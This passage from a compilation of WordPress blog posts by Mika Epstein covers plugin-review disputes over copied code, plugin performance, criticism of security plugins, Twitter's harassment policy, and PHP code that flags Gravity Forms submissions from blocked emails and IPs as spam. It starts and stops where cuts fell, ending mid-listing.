The gist again is “I did not take his code, I bought it and used it.”
He took something, which in that moment he had the legal right to take! But it’s still taking. If you bought a copy of the Sherlock story “A Study in Scarlet” (which is public domain!) and then re-released it with your name on it and a modern update, it’s not YOUR work anymore. It’s *Sherlock* the TV series, who bally well credits the source properly. But they don’t call it their original work, they call it an **adaptation**.
They credit.
Donald did not, and would not.
## My Cousin Vinny
Marissa Tomei aside, Donald explained his legal rep (a family member) had told him he didn’t buy the code the way he thought he did. Donald had bought a *license* to use the code
Blessed hallelujah! I thought it was done. Alas, Donald went on to say he was going to clarify that little license matter with Adam (he never did, Adam refused), and then said that since it was legal to take code and reuse it, per GPL, he was good to go, please host his code.
This is *after* he agreed we were right about the non-GPL thing.
I explained, again, that the bottom line is WordPress.org will not host forks of premium code, will *never* allow non-GPL code, and would not accept forks that don’t credit the OG. Donald hit the trifecta. I *recommended* he ask his lawyer-family-person about the concept of “fruits from the poisoned tree.”
Donald went on to make all sorts of entirely wrong legal claims that the GPL allowed this, so WordPress had to let him host the code, and on and on. Then he threatened to sue.
At that point, I stopped. He got the final reply with the official “you are banned and we won’t read your emails anymore because you clearly do not get it” message.
The weekend happened and on Monday I found an email saying Donald had complained legally, and they too marvelled that someone would have a lawyer explain they were wrong, only to double down on the wrong.
I still need to send a sympathy gift to that poor person who had to deal with Donald.
**Categories:** How it Was
**Tags:** administration, plugins, stories, wordpress
---
### [How Many Plugins Is Too Many?](https://halfelf.org/2014/how-many-plugins/)
**Published:** August 1, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How many plugins does it take to crash a site? The answer is lower than you think.
**Content:**
Have you ever played “Name That Tune”? They used to have this show where they’d play music and you had to name that tune. One of the mini-games in the show was called “Bid-A-Note” where the host read a clue and the contestants would alternate bidding. “I can name that tune in X notes..” where X was a whole number, and the bids ended when one of the contestants challenged the other to “Name That Tune” (or if someone bid one or zero notes).
Well. I can crash a WordPress site with one plugin.
When people ask why their site is slow, sometimes my coworkers will say “It’s the plugins, right? He has 40 plugins!” and I’ll say “Maybe.” Then I look at what the plugins are, because it’s never the number of plugins, but their quality. Take a look at [Jetpack](http://jetpack.me/), which is 33 plugins in one. Is that going to cause more or less overhead than if you had 33 separate plugins installed?
WordPress is wonderful and beautiful because you can use plugins to do absolutely anything. At the same time, that beauty is it’s downfall, because you can use plugins to do anything. There are over 32,000 *active* plugins in the WordPress plugin repository. There are probably 4000 or so that are delisted or disabled. There are around 3000 more plugins on just one popular WordPress theme and plugin site. We haven’t even started listing themes.
It’s a mathematical impossibility to test every possible plugin combination with every theme on every server on every host with every extra (like mod\_pagespeed or CloudFlare) added on. It’s impractical to expect every combination to play nicely together, not because of any defectiveness in the code of the plugin or WordPress, but because of the reality that all of those things vary from place to place. We build out things to be flexible, after all.
I love the flexibility. I think it’s awesome. But at the same time, I worry about it when people complain their site is slow. There’s, very rarely, one perfect answer. Not even “Oh, he was hacked” is the answer to why a site is slow, though it can be. The answer is invariably in the combinations and permutations of what someone has done with their site, what the visitors do with it, and how they interact. A site that posts once a week is different than one that posts four times a day. A site with no comments is different than one with 30 per post. And the more of those little differences you factor in, the harder it gets to determine how many plugins is too much.
Maybe it’s your memory. One plugin may need more memory than another, but the combination of two may need more than either would individually! Sadly, it’s not something you’re going to know until you start studying your own site. There are cool tools like [P3 Profiler](https://wordpress.org/plugins/p3-profiler/) which do a great job of giving you an idea as to what’s going on, but it’s not the whole picture. It can’t be. Just look at all the tools we list for [performance testing](https://codex.wordpress.org/WordPress_Optimization#Tools_for_Performance_Testing) and consider how many and varied the results are.
How many plugins are too many? However many it takes to kill your site.
Oh, the one plugin I can run to crash a site? It was BuddyPress and I was using PHP CGI. Once I changed it to a different flavor of PHP, the issue went away.
**Categories:** How It Is
**Tags:** essay, plugins, speed, wordpress
---
### [Plugins: I Hate Security Plugins (mostly)](https://halfelf.org/2023/i-hate-security-plugins/)
**Published:** July 19, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I don’t really hate them all, but I don’t use them, and it’s down to my personal philosophy. That and how many suck.
**Content:**
Do not get excited. This is not going to be a name and shame post. No plugin will be named directly, though I bet a number of people will wonder if I meant their plugin.
So here is your one and only explanation. After reviewing plugins for something between 12 and 15 years, as a pretty much daily process, I have incredibly strong opinions about development, companies, and ideologies. If you, while reading this, think I *might* mean you … probably not. You folks have no clue how many of the same problems I’ve seen!
Actually, if you’ve read stories like [ArsTechnica on how a plugin was tracking users](https://arstechnica.com/security/2023/07/wordpress-plugin-installed-on-1-million-sites-logged-plaintext-passwords/), you have an idea. But it gets worse.
With that done, I hate …
## 99% of ‘Security’ Plugins
This includes Jetpack. I know I said I wasn’t going to name and shame, and I’m not. Jetpack is the perfect illustration of the first problem with security plugins, and that is their WAF (web application firewall) requires editing files, and multiple times it’s broken on upgrade.
I repeat, this is *not* a shame! The problem isn’t Jetpack is bad or wrong, here. The problem is even within a webhost, you get a dozen different versions of server software! Trust me, your webhost would loooove if all our sites were on the same server, but that isn’t how it works. You acquire servers in batches, so you get batches of ‘like’ and then god knows.
But. Because of the myriad versions of server setups, it is *impossible* for Jetpack (or any WAF type plugin) to work perfectly 100% of the time. And this is especially true of upgrades, where servers prioritize different processes.
Basically, I hate them because they can’t do the one thing for everyone, and I accept that.
The real thing I hate about security … The thing**s** I hate…
- They *aren’t* secure
- They’re the *wrong* tool for the job
- They slow your site
- They think they know everything for everyone
## Safety in Danger
Not being secure is as galling as you think. I have seen the vast **majority** of security plugins have the most basic *wrong* code out there. We’re talking not sanitizing, wrong sanitizing, not using `prepare` with SQL calls, not escaping, using sanitize functions to escape (and vice versa), and no nonces.
All that was seen in a plugin I reviewed back in late 2022, and I remember just putting my face in my hands and shouting ‘aaaaarrrrrrgggggghhh’ loud enough to wake my aged cat. And it was not the only one.
There are very few security plugins that have ever passed an initial review without having to be held back for security. I can only think of one in 2022-23, and they had a unique WordPress.org-only error (stable tags).
Because of that, I’m probably never going to use anyone’s security plugin. I just cannot trust plugins that, by their nature, are trying to protect, but are not safe. It’s like locking your front door and leaving your patio doors wide open.
## Hammering with a Spoon
I also have long said that *most* security plugins are the wrong tool. This directly relates to making your site slow, because you are using WordPress to monitor and secure itself. That’s always gonna be slow, folks. And honestly having your app be the check for itself has the blindingly obvious flaw of … if the site gets hacked, that plugin is gonna be useless in 10 seconds.
The correct place for a firewall is a **separate** app on your server (or via DNS). The wall comes outside the town, people! It draws the line between dangers and safe.
PS I would rename any plugin that’s a WAF to a castle or something beside wall. You’ve built a tiny fortress castle and WordPress is the noble who lives inside. You’re the last line of defence.
## The Need for Speed
How do security plugins make a site slow? This should be obvious. If a plugin has to run on every single load of your site and check it the person visiting is an evil doer… it slows things down. The more checks, the slower.
That’s it. Pretty simple.
This is another reason I think they’re the wrong tool. They’re on WordPress, and run using the same specs that WordPress can. PHP is usually more limited than other commands on a server.
## I Know You Know
The whole “I know better” schtick was popularized by Steve Jobs. He claimed he knew what customers wanted before they did.
There was a plugin developer who had a security plugin that thought that. He got into a pissing match with another plugin that is hard to explain without naming names. Now, in this case I don’t feel the need to protect. [They took to the forums and outed themselves](https://wordpress.org/support/topic/conflict-with-wp-spamshield-plugin/). Heck, you can see some of the details of this saga on [WPTavern](https://wptavern.com/wp-spamshield-plugin-removed-from-wordpress-org-author-plans-to-pull-all-plugins-from-the-directory).
Even though there is a little more to the story, it really doesn’t pertain to this. Suffice to say, some of my burnout is *directly* related to that event, which was years before I retired from plugin reviews. Oh and no, it’s *not* about a safe-space situation that people seem to think I run in when I tell them I’m not going to continue a conversation. I just don’t feel the need to waste time and energy on someone who refuses to compromise. I feel that if I’m at an impasse and won’t be able to change the other’s mind, I will agree to disagree and stop arguing.
That event is far from the only time I’ve seen someone decide “I know what is best, and I will *force* it” in a security plugin. Instead of giving options, or recommended settings, they go out and block what they think is wrong, regardless of the nuances. Sometimes they do it *without* a way to override, and that just isn’t cool.
While the goal of perfect security is laudable, the reality is it’s impossible. There will *never* be a perfect solution for everyone, and if your security plugin doesn’t allow for the nuance of the real world, then I got nothing for you.
## Basically, Don’t
This probably reads like “don’t bother with a security plugin.”
There are some reasons you would want to use them. I use a lot of security checks on my sites, within WordPress, but for a specific purpose. See, I use them as tools to interact with services.
For example, Akismet and spam. I have written bespoke plugins to stop a serial idiot from submitting a form so I don’t have to fire up my terminal and block IPs. I hate IP blocks. They always hurt the innocent.
And yes, I am using the WAF from Jetpack right now on a large site! Warts and all, it’s been helpful.
But for me? Having seen what I have with security plugins? They will always be a hard sell.
**Categories:** How it Was
**Tags:** plugins, security, wordpress
---
### [It’s Not About the Money](https://halfelf.org/2023/its-not-about-the-money/)
**Published:** May 18, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How you spend your money reflects on you. And how you handle your code does too.
**Content:**
I left Twitter last year for a very personal and specific reason. That reason? They refuse to protect anyone.
There remains a number of humans on Twitter who delight in harassing, blasting, humiliating (trying …), and vilifying me. One of whom was actually (briefly) banned. And it was rough enough before the new regime, who has made things objectively worse. Not a little worse, a lot worse.
I went over to Mastodon and I have no regrets. It’s much nicer, even though there are some flaws (spam at the moment, but also some gatekeeping and racism that needs to stop). For example, on Sunday recently, I posted how I don’t believe in AI. [I am my father’s daughter](https://woody.com/), after all, and there is nothing intelligent about what we’ve created, save in our own. The machine does not think, it does not innovate, it keeps to what it knows.
On Mastodon? That got a lot of nuanced conversations. On Twitter I had to be handy with the block button.
Now no social media is “great” for the soul, but Twitter has been doing a dumb ass speed run and hurting as many people as possible.
## Dangerous Minds
On April 8th, Twitter removed the language in its hateful conduct policy that explicitly protected transgender people from online harassment.
Prior to the rule change, [Twitter’s Hateful Content Policy](https://help.twitter.com/en/rules-and-policies/hateful-conduct-policy) stated:
> We prohibit targeting others with repeated slurs, tropes or other content that intends to dehumanize, degrade or reinforce negative or harmful stereotypes about a protected category. This includes targeted misgendering or deadnaming of transgender individuals. In some cases, such as (but not limited to) severe, repetitive usage of slurs, or racist/sexist tropes where the context is to harass or intimidate others, we may require Tweet removal. In other cases, such as (but not limited to) moderate, isolated usage where the context is to harass or intimidate others, we may limit Tweet visibility as further described below.
It now is:
> We prohibit targeting others with repeated slurs, tropes or other content that intends to degrade or reinforce negative or harmful stereotypes about a protected category. In some cases, such as (but not limited to) severe, repetitive usage of slurs, or racist/sexist tropes where the context is to harass or intimidate others, we may require Tweet removal. In other cases, such as (but not limited to) moderate, isolated usage where the context is to harass or intimidate others, we may limit Tweet visibility as further described below.
They removed a key number of words.
1. dehumanize
2. misgendering
3. deadnaming
This removal of stated protections happens at the same time Florida is banning drag shows, health care for trans youths, and more.
## Be Judged By Your Actions
This is a technical sort of blog, I know. But this overlaps into that, so hold on a second.
People will judge you by your actions. If you treat people like dirt, you will be seen as an asshole. If you’re Jewish, you’re likely familiar with the saying similar to “If someone sits down at a table with 11 Nazis, and doesn’t leave, you now have 12 Nazis.”
The point being, your action of **giving money** to someone’s company when you are aware of their transphobic, homophobic, antisemitic, hate-filled actions, we are all going to look at you like you’re an asshole too. And when you allow those people in your community, you’re saying “I’m okay with these people who dehumanize others.”
Now, how does this relate to tech, besides Twitter being a tech company?
Take a LONG hard look at Twitter right now. See how many people are being unmitigated assholes to the users, and see that **nothing** is being done to stop it. Got that image in your head?
Awesome. Now. What are **YOU** doing to stop it in **YOUR** products?
I talk about how tech is open to being abused so much because, thus far, we have done very little to actually protect anyone. I mean, you tell me how you can block someone who could spin up a hundred accounts in minutes, just to email you and be a jerk? There are, of course, somethings you cannot stop but think about it this way…
If someone came to your home to harass you, there are resources (cops, for example). It someone’s harassing you on Twitter, you go to Twitter support, right? They do nothing, which means they have a product and they don’t care about you. Hell, Twitter will tell you that someone telling you to that you deserve to suffer is fine, but will ban you for telling them to jump in a volcano, because you made a death threat.
Not a joke. Happened to a friend.
There aren’t laws that properly cover online abuse. They’re aren’t. Don’t get me started. But that means the responsibility is on **US**, the creators of the tools. I’ve said it a million times, if you make a forms plugin and **do not** take time to figure out ways to allow people to protect themselves, you failed. Look at how much custom code I’ve had to make just to get people to leave me alone!
If your code won’t protect me, I won’t use it because it’s not safe. And when you side with people who categorically make things unsafe, well, now I don’t trust you.
## Stand By What You Believe In
Someone’s probably going to ask me how far I go with this. I’ll put it this way. If, tomorrow, Musk ‘bought out’ WordPress, I would quit my job and start over with anything else. And I’d have to think about what to do with my websites.
At the same time, if you’re still using Twitter as a **non**-paying user? That’s your call and I won’t think ill of you for it. There absolutely are some communities that **only** exist on Twitter, and moving them is a pain in the ass. I feel this way about Facebook, I hate it and I hate how it treats people, but I understand it’s a necessary evil. I wish it was easier to move everyone elsewhere, but not all products are built like WordPress.
That’s the nice thing, I think. If, tomorrow, I had to quit WP, I really do have options! I can export and migrate! Because WordPress lets you own your data. But that’s another post.
And contrary to what some people may think, I am **absolutely** in support of paying for social media! I donated to my Mastodon host (I just switched so I have to set things back up again) because a couple bucks a month for enjoyment is something I can afford.
I’m opposed to **PAYING** to be treated like a second or third class human, and I absolutely judge you when you do pay them.
## Listen and Protect
Here’s my advice and it starts with a story.
Back in 2010 or so, there was a courthouse in Franklin County Ohio that had a glass staircase.
Why is that a problem?
Go put on a skirt while I stand underneath and tell you what color your underpants are (if you wear them).
That’s a damned obvious problem to anyone who regularly wears skirts and dresses. Why didn’t the courthouse think of that? Men probably designed it and didn’t ask **or** didn’t listen until the Judge saw it and got pissed off.
In order to make things safe, you have to listen to people. If a skirt-wearing human comes up and says “Hey, this is bad, people can see my panties” you shouldn’t do what the Courthouse did. They had a guard there to warn women, which is not a solution, and said they’d hope people would be mature … That is not listening, and it sure isn’t protecting.
What they could have done is change the underside of the glass to reflect, or put a film on, or cordon it off so people can’t stand underneath. But instead they went “meh.”
If you go ‘meh’, you’re the problem folks. You didn’t listen, and when the opportunity arose, you didn’t help.
So. Listen. Think about what it means to someone else. Have empathy. And then code with that empathy.
And spend your bucks with that empathy too, by the way.
**Categories:** How It Is
**Tags:** capitalism, social media
---
### [Plugins: When It Changed](https://halfelf.org/2023/plugins-when-it-changed/)
**Published:** July 5, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There was a time when I didn’t think anything would go wrong with plugins. And I remember the time when I realized how much trouble we were going to be in. This is the memory of that story.
**Content:**
Many people have told me that I should write a book about plugins and name and shame the shitty ones.
I’m not down with that.
For the past fifteen years or there abouts, I’ve been reviewing plugins at WordPress.org. In 2015 I took over as the rep. I stepped down *entirely* in July 2023 for personal reasons that have nothing to do with my passion for WordPress, but is in fact “because” of WordPress.
In fact, it’s really “because” of plugins. But to be specific, it’s because of *developers*.
## Book Him, Danno
I really mean this. **It didn’t used to be this bad at all**. Sure we had some rough devs, many of whom have left the ecosystem, but overall the level of ashattery was tolerable. You could have an argument and things were kind of okay.
I distinctly remember when that changed. Like, I can tell you exactly where I was standing, talking to a coworker, when it dawned on me what was happening and that this was probably a turning point.
It was 2010 and we got the weirdest email from a company (fake name Booker Inc.) who explained their former employee (fake name Liam) had stolen a plugin.
Stealing a plugin is a weird concept to many when you think of OpenSource. You can’t steal something that is free, and anyway WordPress’ license lets you fork (copy and alter). A lot of people despise me for saying they stole, likely becuase of that. But the reality here is if you take something, created by someone else, put your name on it and proclaim it was 100% your original work … ya done stole.
An employee stealing from a company though, that was fascinating. I replied asking for some more details and what really was going on. As it transpired, Booker Inc. made a booking plugin that was behind a paywall, primarily built by an employee, Liam, who then was terminated, took the code, and put a copy up on WordPress.org.
## The Investigation
Naturally the first thing I did was check the logs. Since Booker Inc’s was a paywall’d plugin, I asked for a copy to compare to as well. The logs I wanted to compare to their timeline claim. Liam was fired on X date, and a week later the plugin was submitted.
That told me that it was extremely likely Booker Inc.’s plugin came first. I downloaded both plugins and ran a diff on them using [DeltaWalker](https://www.deltawalker.com). What I saw was a line by line copy, where all copyright and credit was removed.
The copyright is the reason, by the way, that I use the terms “theft” and “stealing” when I talk about this kind of thing. Copyrights and trademarks are, as I often say, “things with which one **does not** fuck around.” Copyright and Trademark laws are serious shit, and the [GPL even says you need to include copyright](https://www.gnu.org/licenses/gpl-howto.html)! In fact…
> If you have copied code from other programs covered by the same license, copy their copyright notices too. Put all the copyright notices for a file together, right near the top of the file.
>
> [How to Use GNU Licenses for Your Own Software](https://www.gnu.org/licenses/gpl-howto.html)
Translation? Don’t remove people’s copyright!
That means in this case, we had copyright infringement (the second plugin had removed the copyright), and a copy of a plugin that was line-to-line identical except the name.
Oh and it was copied from a plugin … that wasn’t GPL.
Conclusion Clue(do): Close the plugin.
## The End is the Beginning
After the second plugin was closed, Liam was emailed something to the gist of “Your plugin is a copy of your old employers, Booker Inc., and you broke copyright. On top of that, the code isn’t GPL, so we can’t host it.”
That’s pretty reasonable, I thought. It wasn’t until about 10 years later that we sat and formalized all those emails as you see today (mad thanks to Josepha for being my copy editor back in those days!). Back then, 2010? Nah, we were winging it. But the email in this story was serviceable.
At the same time we did that, I emailed Booker Inc. and said the plugin was closed and we wouldn’t host it because of the GPL thing. Done, dusted, situation over.
Liam replied that the code was legally his and he had the right to do this and change copyright as the owner.
And you know what? That *might* have been the case.
## Above and Beyond
One thing about plugins that pisses off OpenSource purists is that the guidelines are above and beyond the GPL. Meaning, you have to meet all the requirements and restrictions of the GPL, but you *also* have follow the WordPress.org guidelines!
So what guidelines kick in when Booking Inc. reports a plugin is not GPL and Liam says since the plugin was 100% his, and he can re-assign the licence? Is that still theft? Is it violating the GPL requirement (one of the few we cannot give a ‘pass’ on)?
At the time, the guidelines had a lot more wiggle room. Today, WordPress.org is patently clear that **even if** the premium plugin is GPL, we will not host it because it hurts the ecosystem. I readily agree that all plugins behind paywalls hurts the ecosystem as well, but taking someone’s work and giving it away (usually claiming it’s yours), is a dick thing to do. You took money out of their pockets and could be wrecking a small business. It’s a balancing act.
I immediately asked Booking Inc. if they had a contract for the work that clearly spelled out ownership. They did, and agreed to share it with Plugins. It stated the work would be the property of Bookings Inc.
Next I asked Liam if **he** had a copy of his contract so we could validate ownership rights. He did, he shared it with us, and lo the contracts matched.
Now, regardless of my personal feelings on this, it was pretty clear. The contracts spelled out the code would belong to the company. It also actually said that the code wasn’t GPLv2, which I’d never seen in a contract before. The contract also stipulated that Liam would work with a team. They did the UX, he did the PHP.
So. I emailed Liam back and said I was sorry, but the contract made it clear that he did not have legal ownership, and thus couldn’t change the license. In addition, even if he was the owner, the contract indicated he was not the sole developer, and would have to get permission from everyone who wrote so much as a line of code to change the license.
## Booking dot Hell
At first, Liam seemed to understand. He didn’t like it, but he understood he’d signed this contract. I told him something I have told many people before, and it’s always get a contract that protects *you*. If someone hires you for work, get that damn contract to protect you. There’s a story I will share later about a reverse of this situation, but basically that contract exists to clarify who owns the code, who has the rights, and it wasn’t Liam.
About a week or so later, Liam submits a new plugin. Also booking related. I eyeball it because while that contract implied an NDA existed to restrict Liam on working on booking code, I knew that wouldn’t hold up in court in their country. However, there is a fun legal concept known as “fruit from the poison tree.”
If a single line of code in that plugin was taken from Booking Inc.’s plugin, the *entirety* of the new plugin was not permitted. Generally we advise people to not try and submit a similar/related plugin, mostly for that concern, but also because of bad-blood. There was no way on earth that Booking Inc. would be chill.
As it happened, the code was about 75% the same. It was summarily rejected and Liam was told why. I *distinctly* remember telling him not to submit another booking plugin, because the wall for him was so high, he’d have to start from zero and not use anything from the original.
Liam said he was mad, but understood. He said he wouldn’t resubmit a booking plugin.
## Liam Lied
For the next three weeks, Liam made a new account every other day or so, and resubmitted variations on the plugin. I rejected them all and would email his first address, explaining he needed to stop.
He didn’t. We ended up banning first his email domains, then his IP, and there was a time he couldn’t even visit .org. I hate doing that kind of ban, because it impacted others, but again, hard choices.
Then it got weird.
Someone with another booking plugin emailed plugins freaking out because they got an email, impersonating me, telling them that **their** plugin was closed! It was a mostly copy pasta of my email. And Liam had spoofed the plugin email address.
I had the new person check the email headers, and we confirmed it was not official. But then more people with booking plugins contacted us! Worse, those emails had “me” attacking those people! The closest I get in plugin emails to insulting people is when I tell them they made a stupid choice, or they acted like a jerk.
We fixed the spoofing issue, and that stopped, but it was that second email, the second one impersonating me, that told me this was bad. Real bad. This was changing the game bad.
## Abuse is Now Common
It’s been 13 years, give or take, and people like Liam went from being a once in a decade occurrence to yearly to weekly, and finally to pretty much daily.
People hear “no” and decide the correct thing is to be a complete and utter abusive asshole. They believe they have the right to do what they want, and damn everyone else. These days people call it being a “Karen.” Oh and yes, they ask if they can speak to my manager.
[](https://halfelf.org/wp-content/uploads/sites/2/2023/06/manager.png)[I AM the Manager (unknown source)](https://halfelf.org/wp-content/uploads/sites/2/2023/06/manager.png)By May 2023, if a day went by without someone, somewhere, deciding that the plugins team could fuck themselves, I was surprised and relieved. You’d get three in one day, move their emails to the auto-block system, and it would be tense for a couple days because most people made fake accounts to try again.
And again.
And again.
## The Toll
While Liam pissed me off, personally, in retrospect what he did was tell me we needed to clean up the guidelines, organize our rules, and make it more clear that being abusive needed to stop. Impersonation should be an instant permaban.
WordPress.org didn’t get a community guideline until 2022, and yes, I was one of many people who regularly complained that we needed it a hell of a lot sooner. It became up to each team to sort out how to handle infractions, and what in fact was an infraction.
Each team has suffered rage quitting and burn out, due in part to the loosey goosey guidelines like that. It feels like you don’t have real support. If we did, that saga I refer to as “[my idiot harasser”](https://halfelf.org/harassment-rst/) would have been a lot shorter. Or over.
I don’t blame WordPress directly for this. The community has done their level best to help and protect each other. So has leadership, as much as they could. But I really do feel the absolute lack of overall guidelines for “don’t be a dick” would have short circuited a lot of the pain people have had to deal with.
No, this was clearly not a thing WordPress did. This was a shift in the world, and honestly? It’s only gotten worse.
## Why Not Name?
I have a lot of stories like this, and I absolutely will be sharing more. But I will not tell you exactly who people are.
Oh Liam probably sees himself in this, and that’s fine. What’s he going to do? Leave a comment to complain I’m not telling the whole story, and out himself as a human who felt impersonation was the right way to prove his point? He crossed a line and there *probably* is no way back at this point.
But naming him removes the “probably” from that. Naming him means that he is forever branded as the asshole. And I actually still firmly believe that *nearly* **everyone** can come back from crossing that line.
Otto has often called me an optimist for that. He’s right. I am optimistic that the human condition lends itself to empathy. We’re all on this rock together. We aren’t getting to Mars if we can’t figure out how to exist *respectfully* with people we disagree with.
And I feel that most people want to be in a group. Humans don’t want to be alone. Getting excluded from the group hurts, and people will do anything to get back in if that’s the only group. That’s reasonable, right? And when people have a bad day, getting kicked out, they lash out.
Likely Liam and most people like him never think about me again. I recently was reminded that for an adult, making a joke about a kid being chubby doesn’t stick in the adult’s memory, it’s just another day. But that kid will remember the time and place their parent called them fat.
I’m not the parent.
I remember the days, probably all of them given a prompt, I’ve had to tell someone no and close the door on them. Because it remains my secret hope that everyone like Liam feels a little bad, and sorry. Not sorry because he got kicked out, though. Sorry that he hurt someone.
And if that happens? If a Liam developed the empathy to understand how his actions harmed others and sincerely apologized? I would be the happiest woman in the world.
I want to leave that door open for the Liams in the world.
I hope you will too.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Stopping Jerks in Gravity Forms](https://halfelf.org/2023/stoping-jerks-in-gravity-forms/)
**Published:** February 2, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Stopping jerky people is a heck of a lot harder than stopping spammers. It doesn't always have to be.
**Content:**
“Hang on,” I hear you say. “Didn’t you already do this?”
Well, kind of. I did with [Ninja Forms](https://halfelf.org/2022/stopping-jerks-in-ninja-forms/) (and actually that resulted in me **removing** Ninja Forms and going back to [Jetpack](https://halfelf.org/2018/spam-your-blacklist/), and isn’t that a pill?). And I’ve mentioned [Gravity Forms](https://halfelf.org/2021/gravity-forms-and-disallowed-keys/) before with disallowed keys.
This is really an extension of the disallowed keys and some very specific complex things I’ve changed since those posts.
Yeah, tech changes.
## What’s a “Disallowed Key”?
Disallowed keys are basically all those terms you put in your Disallowed Comment list (formerly the Blacklist):
Now if you look at my example above, I have a bunch of terms in there. Each line is a ‘key,’ meaning `@example.net` is a key.
WordPress built this in for handling comments, specifically, but I’ve long advocated for things to be global, and since this is saved in my site, I can easily re-use it by telling Jetpack or anything else “If this email is on the list of disallowed keys, I don’t want to see it.”
The reality of doing that is, of course, harder than it looks.
For example, if you use Gmail, then `foobar@gmail.com` and `foo.bar@gmail.com` **and** `foobar+ihatemika@gmail.com` are all the same bloody thing! And if I block `generaljerkyperson` do I then want to block `generaljerkyperson@nonjerky.com` ?
You have to make some decisions. Now solving the email one with periods and plus signs was easy. By comparison.
## Jerky People Aren’t Spammers
This is the other thing to get into our heads. Jerky people ain’t spammers. Spammers are, weirdly, easier to spot and handle. Someone posts about viagra? Spam. Someone posts about SEO? Probably spam (though not always on a tech site). But those are all pretty self evident once you look at them!
What is not self-evident is something like the world I have.
Over on a site I run, we have a group instance (Slack, Discord kind of thing) and we let people sign up via Google Sheets for a while. But we ended up with one person in the group who was an antagonist. Let’s call her Bertie.
Bertie isn’t a terrible human, but she has “Opinions” and they are the right ones. She likes a very specific thing, and does not like variations or changes. And if you don’t like what she does, you’re wrong, she’s right, and damn you. She picks fights, constantly, she disrespects anything anyone else likes… To put it how my friend Tracy might say “She yucks on other peoples’ yums.”
We attempted to negotiate with her. Point out “Hey you’re in a GROUP and if you cannot respect people enough to tolerate their opinions when they differ, then this ain’t the group for you.”
Bertie didn’t. And she didn’t change. So we banned her. Fine.
She tried to sign up via Google Sheets again. We said no. And again. No. Then she tried new emails, new bios, new fake names. One actually got in. But as soon as we learned it was her, we kicked her.
And at this point, we were fucking tired of playing whack-a-mole. So I decided to make something better.
## Catch and Release
My overall thought process boils down to this: Every single jerky person has tells.
They just do. And a human can spot them and go ‘wait a second…’ because we’re actually really good at recognizing patterns that are *similar*. A computer has to be taught that “If the submission is from this **region** or has this kind of email, it’s probably them.”
So I started to build out some logic that would check all my flagged emails and IPs. Then I took advantage of Gravity Forms’ API to make a note in the entry so I could have a record of *why* someone was flagged.
Here’s what it looks like for someone who’s email **and** IP was on the naughty list:
Seeing that come in overnight, by the way, delighted me. It shunted the annoying Bertie to spam for two reasons, and none of us had to deal with her.
## How it Works
This is the code part. The down and dirty here is I have two classes, one for finding spammers, and then the Gravity Forms that calls it. I did this because at the start, I had both Jetpack **and** Gravity Forms **AND** Google Forms. Obviously I can’t block someone hitting the Google Form directly, but I used to have this prevent that from loading the form. It was easy to get around. I know I know.
Even though I now exclusively use Gravity Forms on the site, I left these separate to be future friendly. Also it means you can steal that to put it into whatever you’re doing. It’s GPLv2.
By the way, everything goes to spam for a simple reason: It lets me clear up false positives.
### Find Spammers
This class is what hooks into disallowed keys and checks if the email is banned, the domain is banned, or the IP used it banned. It **also** has an option to check for people who are moderated! That means if you wanted to flag people who **might** be jerks, you can do it.
```
class Find_Spammers {
/**
* List of disallowed Keys
*
* We check for emails, domains, and IPs.
*
* @return array the list
*/
public static function list( $keys = 'disallowed_keys' ) {
// Preflight check:
$valid_keys = array( 'disallowed_keys', 'moderation_keys' );
$keys = ( in_array( $keys, $valid_keys, true ) ) ? $keys : 'disallowed_keys';
// Time for the show!
$disallowed_keys = array();
$disallowed_array = explode( "\n", get_option( $keys ) );
// Make a list of spammer emails and domains.
foreach ( $disallowed_array as $spammer ) {
if ( is_email( $spammer ) ) {
// This is an email address, so it's valid.
$disallowed_keys[] = $spammer;
} elseif ( strpos( $spammer, '@' ) !== false ) {
// This contains an @ so it's probably a whole domain.
$disallowed_keys[] = $spammer;
} elseif ( rest_is_ip_address( $spammer ) ) {
// IP adresses are also spammery people.
$disallowed_keys[] = $spammer;
}
}
return $disallowed_keys;
}
/**
* Is someone a spammer...
* @param string $email_address The email address
* @param string $plugin The plugin we're checking (default FALSE)
* @return boolean True/False spammer
*/
public static function is_spammer( $to_check, $type = 'email', $keys = 'disallowed_keys' ) {
// Default assume good people.
$return = false;
// Get disallowed keys & convert to array
$disallowed = self::list( $keys );
if ( 'email' === $type ) {
$email_address = $to_check;
// Break apart email into parts
$emailparts = explode( '@', $email_address );
$username = $emailparts[0]; // i.e. foobar
$domain = '@' . $emailparts[1]; // i.e. @example.com
// Remove all periods (i.e. foo.bar > foobar )
$clean_username = str_replace( '.', '', $username );
// Remove everything AFTER a + sign (i.e. foobar+spamavoid > foobar )
$clean_username = strstr( $clean_username, '+', true ) ? strstr( $clean_username, '+', true ) : $clean_username;
// rebuild email now that it's clean.
$email = $clean_username . '@' . $emailparts[1];
// If the email OR the domain is an exact match in the array, then it's a spammer
if ( in_array( $email, $disallowed, true ) || in_array( $domain, $disallowed, true ) ) {
$return = true;
}
}
if ( 'ip' === $type ) {
$ip = $to_check;
$bad_ips = false;
foreach ( $disallowed as $nope ) {
if ( rest_is_ip_address( $nope ) ) {
if ( ( strpos( $ip, $nope ) !== false ) || $ip === $nope ) {
$bad_ips = true;
}
}
}
// If they're a bad IP, then they're a bad IP and we flag.
if ( false !== $bad_ips ) {
$return = true;
}
}
return $return;
}
}
new Find_Spammers();
```
### Gravity Forms Check
You may have noticed that the spammer checker is really just that, a checker. You have to call it. How I call it is via a Gravity Forms function. This does a couple kind of redundant things, and I know it can be optimized.
The IP checker has some extra stuff to help me record where an IP is from when people submit, in order to try and catch other ‘common traits.’ It’s using ip-info, and amusingly I’ve found it’s **mostly** right. For some reason, it got the IP location of the same IP as being from 3 separate locations. I suspect it’s Bertie trying to be smarter and use a VPN. The fact that the Location is not the only measuring stick I use though means she can change her IP and email a bunch of times, but I have other checks.
One improvement on my list is that if someone has a certain number of red-flags, it treats it like a jerk and sends to spam.
```
class My_Gravity_Forms {
public function __construct() {
// Check all Gravity Forms ... forms for spammers.
add_action( 'gform_entry_is_spam', array( $this, 'gform_entry_is_spam' ), 10, 3 );
}
/**
* Mark as spam
*
* If someone on our block-list emails, auto-mark as spam becuase we do
* not want to hear from them, but we don't want them to know they were rejected
* and thus encourage them to try other methods. Aren't assholes fun?
*
